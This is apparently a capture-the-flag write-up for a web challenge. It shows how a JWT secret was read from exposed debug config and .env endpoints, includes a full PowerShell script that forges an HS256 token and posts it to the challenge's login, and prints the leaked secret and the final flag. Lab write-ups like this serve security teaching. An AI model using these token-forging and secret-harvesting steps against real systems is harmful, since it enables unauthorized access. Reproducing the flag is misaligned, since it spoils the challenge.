Found a debug config that exposed JWT requirements and secret. Used those to craft a valid nightguard token, which made /login return a ZIP with logs and a Power Automate flow. The log decoded to a string used as the API input, which returned the flag.
GET /debug/config/security.json returned required JWT claims:
GET /debug/config/.env returned the JWT secret:
JWT_SECRET=g0ld3n_fr3ddy_w1ll_a1ways_b3_w@tch1ng_y0uCreate a HS256 JWT with the required claims and the secret, then POST it to /login as token.
Example (PowerShell):
function Base64UrlEncode([byte[]]$bytes) {
$b64 = [Convert]::ToBase64String($bytes)
($b64.TrimEnd('=') -replace '\+','-' -replace '/','_')
}
$headerJson = '{"alg":"HS256","typ":"JWT"}'
$payloadJson = '{"department":"security","role":"nightguard","shift":"night"}'
$headerB64 = Base64UrlEncode([Text.Encoding]::UTF8.GetBytes($headerJson))
$payloadB64 = Base64UrlEncode([Text.Encoding]::UTF8.GetBytes($payloadJson))
$data = "$headerB64.$payloadB64"
$secret = "g0ld3n_fr3ddy_w1ll_a1ways_b3_w@tch1ng_y0u"
$hmac = New-Object Security.Cryptography.HMACSHA256
$hmac.Key = [Text.Encoding]::UTF8.GetBytes($secret)
$sig = Base64UrlEncode($hmac.ComputeHash([Text.Encoding]::UTF8.GetBytes($data)))
$token = "$data.$sig"
Invoke-WebRequest -Uri "https://girlypies.ctf.rusec.club/login" -Method POST -Body "token=$token" -OutFile login_response.zip
The response is a ZIP archive.
logs/session.log contained: u$bu_qvsqm4_hvzt#at^purpl3^guyOther helpful files:
config/settings.xml contains the API path: /api/run-flow{ "input": "%FinalVar%" }Using the public host with the derived input:
Invoke-WebRequest -Uri "https://girlypies.ctf.rusec.club/api/run-flow" -Method POST -ContentType "application/json" -Body '{"input":"t#at_purpl3_guy"}'
Note: the server accepted the underscore variant (t#at_purpl3_guy).
Response:
{"result":"RUSEC{m1cro$oft_n3ver_mad3_g00d_aut0m4t1on}"}
RUSEC{m1cro$oft_n3ver_mad3_g00d_aut0m4t1on}